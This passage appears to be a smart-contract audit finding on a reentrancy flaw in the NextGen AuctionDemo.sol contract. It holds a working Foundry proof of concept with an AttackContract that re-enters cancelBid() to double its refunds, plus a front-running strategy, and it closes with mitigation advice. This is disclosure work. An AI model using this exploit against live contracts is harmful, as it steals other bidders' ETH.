        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

If the winner claims the auction on the last second of the auction re-entry is possible from claimAuction() to cancelBid(). Any user with a losing bid will have their ETH refunded and they can use the ETH call to re-enter cancelBid(). As claimAuction() sets auctionClaim[_tokenid] = true; this can only happen once so the attacker will need to have multiple bids they can re-enter multiple times.

If the auction is claimed or engineered (collusion with block builders) to finish on the last second the winner can claim the auction and each of the attacker's bids will be refunded allowing them to re-enter and cancelBid() doubling their money. There's more nuance to the attack wich I will cover in the Proof of Concept.

Impact

This attack drains ETH from the AuctionDemo.sol contract and either valid bidders or the owner of the auction token will not receive their ETH as the contract will have no funds to pay. If the attack is executed correctly each of the attacker's losings bid will be returned twice. This is ETH that would be used to repay other bidders that still have valid bids stored in the system. The attacker steals their ETH and doubles their own.

Whether you accept block.timestamp can be timed or collusion with a block builder it should be noted that this attack can be performed at no risk to the attacker. They either double their money or they get their money back.

Proof of Concept

For maximum ETH extraction the attacker should front run each victim bid with a lower ETH value. If they see a 4ETH bid in the mempool they should bid slightly less. The earlier these bids are registered within auctionInfoData the better, as these are transferred earlier when the auction is claimed.

If any of these victim bids are cancelled the attacker should cancel their corresponding front-run bid. The attacker wants to make sure there's always enough ETH in the contract to return their bid twice. Note though there's no risk here, the attacker will have either 1) Their original bid returned or 2) Their original bid and their cancelled bid.

This is demonstrated in the test test_Loser_FrontRuns_Wins() below;

1. The attacker front runs each bid, and uses an attack contract for each bid so they can re-enter via it's receive() function.
2. claimAuction() is called and the block.timestamp is the last second of the auction period.
3. Each losing bid will have it's ETH returned via the for loop in claimAuction(). Note success is returned but not checked or reverted. NB: The status of the bid is not set to false so cancelBid() is still a viable re-entry target.
4. The receive() function is called on the attack contract and cancelBid() is re-entered. The losing bid is returned again to the attacker.
5. The attacker receives their original bid and another user's ETH, doubling their money.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "./smart-contracts/NextgenCore.sol";
import "./smart-contracts/NextgenAdmins.sol";
import "./smart-contracts/RandomizerRNG.sol";
import "./smart-contracts/RandomizerNXT.sol";
import "./smart-contracts/XRandoms.sol";
import "./smart-contracts/MinterContract.sol";
import "./smart-contracts/AuctionDemo.sol";
import "./smart-contracts/IERC721Receiver.sol";
import "./smart-contracts/NFTdelegation.sol";
import "murky/src/Merkle.sol";
import "./smart-contracts/MerkleProof.sol";

contract AuctionTest is Test {
    NextGenAdmins admins;
    NextGenCore core;
    NextGenRandomizerRNG _randomizerContract;
    NextGenRandomizerNXT nxt;
    randomPool xrandoms; 
    NextGenMinterContract minter;
    DelegationManagementContract registry; 
    auctionDemo auction;

    uint256 reenterCount = 0;
    bytes32[] the_proof;


    function setUp() public {
        admins = new NextGenAdmins();
        core = new NextGenCore("Nextgen", "NEXT", address(admins));
        // Check we are the owner.
        assertEq(admins.owner(), address(this));
        assertEq(core.newCollectionIndex(), 1);

        string memory _collectionName = "Generic collection name";
        string memory _collectionArtist = "Generic artist name";
        string memory _collectionDescription = "Generic artist description";
        string memory _collectionWebsite = "Generic website address";
        string memory _collectionLicense = "";
        string memory _collectionBaseURI = "ipfs://ipfs";
        string memory _collectionLibrary = "";
        string[] memory _collectionScript = new string[](1);
        _collectionScript[0] = "";

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );
        assertEq(core.newCollectionIndex(), 3);

        uint256 _collectionID = 1;
        address _collectionArtistAddress = address(uint160(uint256(keccak256("ayc"))));
        uint256 _collectionTotalSupply = 10_000;
        uint256 _maxCollectionPurchases = 1_000;
        uint256 _setFinalSupplyTimeAfterMint = 100;

        core.setCollectionData(
            _collectionID,
            _collectionArtistAddress,
            _maxCollectionPurchases,
            _collectionTotalSupply,
            _setFinalSupplyTimeAfterMint
        );

        // Minter pre-requisites.
        registry = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(registry), address(admins));
        core.addMinterContract(address(minter));

        // Add randomizer details
        // ARNController should be 0x000000000000f968845afB0B8Cf134Ec196D38D4 on Goerli
        address ARNController = 0x000000000000f968845afB0B8Cf134Ec196D38D4;
        _randomizerContract = new NextGenRandomizerRNG(address(core), address(admins), ARNController);
        _randomizerContract.updateRNGCost(2000000000000000);
        xrandoms = new randomPool();
        nxt = new NextGenRandomizerNXT(address(xrandoms), address(admins), address(core));
        vm.deal(address(_randomizerContract), 1 ether);

        //core.addRandomizer(1, address(_randomizerContract));
        core.addRandomizer(1, address(nxt));

        auction = new auctionDemo(address(minter), address(core), address(admins));

        // Collection costs
        //uint256 _collectionID = 1;
        uint256 _collectionMintCost =  6.029 * 10**16;
        uint256 _collectionEndMintCost = 6.029 * 10**16; 
        uint256 _rate = 0;
        uint256 _timePeriod = 600; 
        uint8 _salesOption = 3; 
        address _delAddress = address(core);
        minter.setCollectionCosts(_collectionID, _collectionMintCost, _collectionEndMintCost, _rate, _timePeriod, _salesOption, _delAddress);

        //uint256 _collectionID = 1; 
        uint timeStamp = block.timestamp;
        uint _allowlistStartTime = timeStamp + 1000; 
        uint _allowlistEndTime = timeStamp + 2000; 
        uint _publicStartTime = timeStamp + 3000; 
        uint _publicEndTime = timeStamp + 4000;
        bytes32 _merkleRoot;
        minter.setCollectionPhases(_collectionID, _allowlistStartTime, _allowlistEndTime, _publicStartTime, _publicEndTime, _merkleRoot);
    }
        function test_Loser_FrontRuns_Wins() public {
        address _recipient = address(this);
        string memory _tokenData = "";
        uint256 _saltfun_o = 0;
        uint256 _collectionID = 1;
        uint256 _auctionEndTime = block.timestamp + 2000;

        uint256 tokenId = 10000000000;

        vm.warp(block.timestamp + 1200);
        minter.mintAndAuction(_recipient, _tokenData, _saltfun_o, _collectionID, _auctionEndTime);
        assertEq(core.ownerOf(tokenId), address(this));

        vm.deal(address(100), 100 ether);
        vm.deal(address(101), 100 ether);
        vm.deal(address(103), 100 ether);

        core.approve(address(auction), tokenId);

        // This time attacker front runs each bid be bid over.
        vm.startPrank(address(100));
        AttackContract bid1 = new AttackContract(address(auction));
        bid1.bid{value: 4 ether}(4 ether, tokenId);
        vm.stopPrank();

        vm.prank(address(101));
        auction.participateToAuction{value: 5 ether}(tokenId);

        // This time attacker front runs each bid be bid over.
        vm.startPrank(address(100));
        AttackContract bid2 = new AttackContract(address(auction));
        bid2.bid{value: 10 ether}(10 ether, tokenId);
        vm.stopPrank();

        vm.prank(address(103));
        auction.participateToAuction{value: 11 ether}(tokenId);

        vm.prank(address(101));
        auction.participateToAuction{value: 13 ether}(tokenId);

        uint256 endTime = minter.getAuctionEndTime(tokenId); 
        vm.warp(endTime); //After auction.
        core.approve(address(auction), tokenId);

        //Winner claims
        vm.prank(address(101));
        auction.claimAuction(tokenId);

        console2.log("Balance of attack address", address(bid1).balance + address(bid2).balance);
    }
}

contract AttackContract {
    address owner;
    auctionDemo _auction;
    uint256 _tokenId;
    uint256 _bid;
    auctionDemo.auctionInfoStru[] auctionBids;
    bool reenter;

    constructor(address auction) {
        owner = msg.sender;
        _auction = auctionDemo(auction);
    }

    function bid(uint256 amount, uint256 tokenid) payable public onlyOwner {
        _tokenId = tokenid;
        _auction.participateToAuction{value: amount}(_tokenId);
    }

    receive() payable external {
        console2.log("Received called with ", msg.value);
        if (!reenter) {
            auctionBids = _auction.returnBids(_tokenId);
            for (uint256 i=0; i< auctionBids.length; i++) {
                if (auctionBids[i].bidder == address(this)) {
                    console2.log("Cancelling bid %s and %s", i, reenter);
                    reenter = true;
                    _auction.cancelBid(_tokenId, i);
                }
            }
        } else {
            console2.log("Received second re-enter!!", msg.value, reenter);
            reenter = false;
        }
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Not the owner YO!");
        _;
    }

    function onERC721Received(address operator, address from, uint256 tokenId,bytes calldata data ) external returns (bytes4) {
        console2.log("NFT RECEIVED YO");
        auctionBids = _auction.returnBids(_tokenId);
        for (uint256 i=0; i< auctionBids.length; i++) {
            if (auctionBids[i].bidder == address(this)) {
                console2.log("Cancelling bid %s and %s", i, reenter);
                reenter = true;
                _auction.cancelBid(_tokenId, i);
            }
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Tools Used

Vim

Recommended Mitigation Steps

The protocol should implement re-entrancy protection modifiers on the claimAuction() and cancelBid() functions in AuctionDemo.sol via something like OpenZeppelin's ReentrancyGuard for all state changing functions.

Check the success and if it's not true then revert in claimAuction();

(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
require(success, "ETH Payment failed");

Reverting on success opens up other attack surfaces. The protocol could look at converting all bids from ETH to WETH within participateToAuction() to avoid direct ETH calls.

Tighten the require statements in claimAuction() and cancelBid() so that there is no single timestamp where you can perform both functions. For example;

Change cancelBid() to be < rather than <=.

    function cancelBid(uint256 _tokenid, uint256 index) public {
-        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+        require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

As each bid is processed in claimAuction() it's worth setting the bid's state to false which would have prevented the re-entrancy via cancelBid() as that function requires the status of the bid to be true.

Assessed type

Reentrancy